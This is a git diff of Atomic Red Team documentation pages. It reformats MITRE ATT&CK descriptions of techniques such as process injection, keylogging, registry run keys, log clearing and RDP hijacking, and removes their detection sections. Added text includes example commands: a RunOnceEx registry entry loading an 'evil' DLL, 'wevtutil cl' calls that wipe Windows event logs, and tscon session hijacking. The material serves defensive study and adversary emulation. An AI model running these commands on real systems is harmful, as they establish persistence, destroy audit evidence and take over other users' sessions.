## Atomic Tests diff --git a/atomics/T1055/T1055.md b/atomics/T1055/T1055.md index aa5cff3cca..fa88e8fe46 100644 --- a/atomics/T1055/T1055.md +++ b/atomics/T1055/T1055.md @@ -2,44 +2,26 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1055)
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. -===Windows=== +### Windows -There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017) -* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. -* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) -* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. -* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) -* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) +There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017) -===Mac and Linux=== +* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. +* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) +* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended. +* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) +* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) -Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) -*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) -*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) -*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) -*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) - -Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. - -Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017) - -Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) - -Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) +### Mac and Linux -Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. - -Platforms: Linux, macOS, Windows - -Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring - -Effective Permissions: User, Administrator, SYSTEM, root - -Defense Bypassed: Process whitelisting, Anti-virus +Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) -Permissions Required: User, Administrator, SYSTEM, root +* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) +* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) +* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) +* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) -Contributors: Anastasios Pingios
+Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ## Atomic Tests diff --git a/atomics/T1056/T1056.md b/atomics/T1056/T1056.md index 2eadabd4e5..7194584c63 100644 --- a/atomics/T1056/T1056.md +++ b/atomics/T1056/T1056.md @@ -1,24 +1,12 @@ # T1056 - Input Capture ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1056) -
Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception. +
Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) -Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. +Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. -Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) - -Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - -Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used. - -Platforms: Linux, macOS, Windows - -Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring - -Permissions Required: Administrator, SYSTEM - -Contributors: John Lambert, Microsoft Threat Intelligence Center
+Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
## Atomic Tests diff --git a/atomics/T1057/T1057.md b/atomics/T1057/T1057.md index 83542406d4..15500c548d 100644 --- a/atomics/T1057/T1057.md +++ b/atomics/T1057/T1057.md @@ -2,25 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1057)
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. -===Windows=== +### Windows -An example command that would obtain details on processes is "tasklist" using the Tasklist utility. +An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility. -===Mac and Linux=== +### Mac and Linux -In Mac and Linux, this is accomplished with the ps command. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator, SYSTEM - -System Requirements: Administrator, SYSTEM may provide better process ownership details
+In Mac and Linux, this is accomplished with the ps command. ## Atomic Tests diff --git a/atomics/T1059/T1059.md b/atomics/T1059/T1059.md index 61ffede47b..778532624b 100644 --- a/atomics/T1059/T1059.md +++ b/atomics/T1059/T1059.md @@ -1,18 +1,8 @@ # T1059 - Command-Line Interface ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1059) -
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task). +
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)). -Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation. - -Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. - -Platforms: Linux, Windows, macOS - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: Administrator, SYSTEM, User - -Remote Support: No
+Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
## Atomic Tests diff --git a/atomics/T1060/T1060.md b/atomics/T1060/T1060.md index 450695574e..a2ff7d3641 100644 --- a/atomics/T1060/T1060.md +++ b/atomics/T1060/T1060.md @@ -1,18 +1,22 @@ -# T1060 - Registry Run Keys / Start Folder +# T1060 - Registry Run Keys / Startup Folder ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1060) -
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level. +
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. -Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs. +The following run keys are created by default on Windows systems: +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce +* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run +* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce -Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. +The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Visa and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018) -Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +The following Registry keys can be used to set startup folder items for persistence: +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders +* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders +* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -Platforms: Windows - -Data Sources: Windows Registry, File monitoring - -Permissions Required: User, Administrator
+Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
## Atomic Tests diff --git a/atomics/T1062/T1062.md b/atomics/T1062/T1062.md index 65bcd39f5f..2ad7a8087b 100644 --- a/atomics/T1062/T1062.md +++ b/atomics/T1062/T1062.md @@ -1,14 +1,6 @@ # T1062 - Hypervisor ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1062) -
A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption. - -Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006) - -Platforms: Windows - -Data Sources: System calls - -Permissions Required: Administrator, SYSTEM
+
A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
## Atomic Tests diff --git a/atomics/T1063/T1063.md b/atomics/T1063/T1063.md index a0a1a390c4..6bb93952e3 100644 --- a/atomics/T1063/T1063.md +++ b/atomics/T1063/T1063.md @@ -2,23 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1063)
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools. -===Windows=== +### Windows -Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. +Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. -===Mac=== +### Mac -It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: macOS, Windows - -Data Sources: File monitoring, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator, SYSTEM
+It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. ## Atomic Tests diff --git a/atomics/T1064/T1064.md b/atomics/T1064/T1064.md index b88002f1e5..1d0176f6fd 100644 --- a/atomics/T1064/T1064.md +++ b/atomics/T1064/T1064.md @@ -2,23 +2,9 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1064)
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. -Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them. +Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them. -Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) - -Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - -Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) - -Platforms: Linux, macOS, Windows - -Data Sources: Process monitoring, File monitoring, Process command-line parameters - -Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention - -Permissions Required: User
+Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) ## Atomic Tests diff --git a/atomics/T1065/T1065.md b/atomics/T1065/T1065.md index c5ac5d70b3..89643389ae 100644 --- a/atomics/T1065/T1065.md +++ b/atomics/T1065/T1065.md @@ -1,14 +1,6 @@ # T1065 - Uncommonly Used Port ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1065) -
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured. - -Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring - -Requires Network: Yes
+
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
## Atomic Tests diff --git a/atomics/T1069/T1069.md b/atomics/T1069/T1069.md index 77f6d1c2f2..c3914d2a43 100644 --- a/atomics/T1069/T1069.md +++ b/atomics/T1069/T1069.md @@ -2,27 +2,17 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1069)
Adversaries may attempt to find local system or domain-level groups and permissions settings. -===Windows=== +### Windows -Examples of commands that can list groups are net group /domain and net localgroup using the Net utility. +Examples of commands that can list groups are net group /domain and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility. -===Mac=== +### Mac On Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups. -===Linux=== +### Linux -On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, Windows, macOS - -Data Sources: API monitoring, Process command-line parameters, Process monitoring - -Permissions Required: User
+On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command. ## Atomic Tests diff --git a/atomics/T1070/T1070.md b/atomics/T1070/T1070.md index e9eb7cc0ee..7d79875bbd 100644 --- a/atomics/T1070/T1070.md +++ b/atomics/T1070/T1070.md @@ -1,14 +1,22 @@ # T1070 - Indicator Removal on Host ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1070) -
Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred. +
Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* . -Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms. +Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred. -Platforms: Linux, macOS, Windows +### Clear Windows Event Logs -Data Sources: File monitoring, Process command-line parameters, Process monitoring +Windows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security. + +Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities. -Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems
+The event logs can be cleared with the following utility commands: + +* wevtutil cl system +* wevtutil cl application +* wevtutil cl security + +Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).
## Atomic Tests diff --git a/atomics/T1074/T1074.md b/atomics/T1074/T1074.md index bb9b44314c..d35e9f9788 100644 --- a/atomics/T1074/T1074.md +++ b/atomics/T1074/T1074.md @@ -1,16 +1,8 @@ # T1074 - Data Staged ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1074) -
Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted. +
Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022). -Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. - -Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files. - -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process monitoring, Process command-line parameters
+Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
## Atomic Tests diff --git a/atomics/T1075/T1075.md b/atomics/T1075/T1075.md index e79a0713f6..d0274c8153 100644 --- a/atomics/T1075/T1075.md +++ b/atomics/T1075/T1075.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1075)
Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. -Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting) - -Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. - -Platforms: Windows - -Data Sources: Authentication logs - -System Requirements: Requires Microsoft Windows as target system - -Contributors: Travis Smith, Tripwire
+Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting) ## Atomic Tests diff --git a/atomics/T1076/T1076.md b/atomics/T1076/T1076.md index 6d8c2bcc52..eb583189bf 100644 --- a/atomics/T1076/T1076.md +++ b/atomics/T1076/T1076.md @@ -1,24 +1,10 @@ # T1076 - Remote Desktop Protocol ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1076) -
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. +
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. -Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware) +Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware) -Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf) - -Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. - -Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. - -Platforms: Windows - -Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring - -Permissions Required: User, Remote Desktop Users - -System Requirements: RDP service enabled, account in the Remote Desktop Users group. - -Contributors: Matthew Demaske, Adaptforward
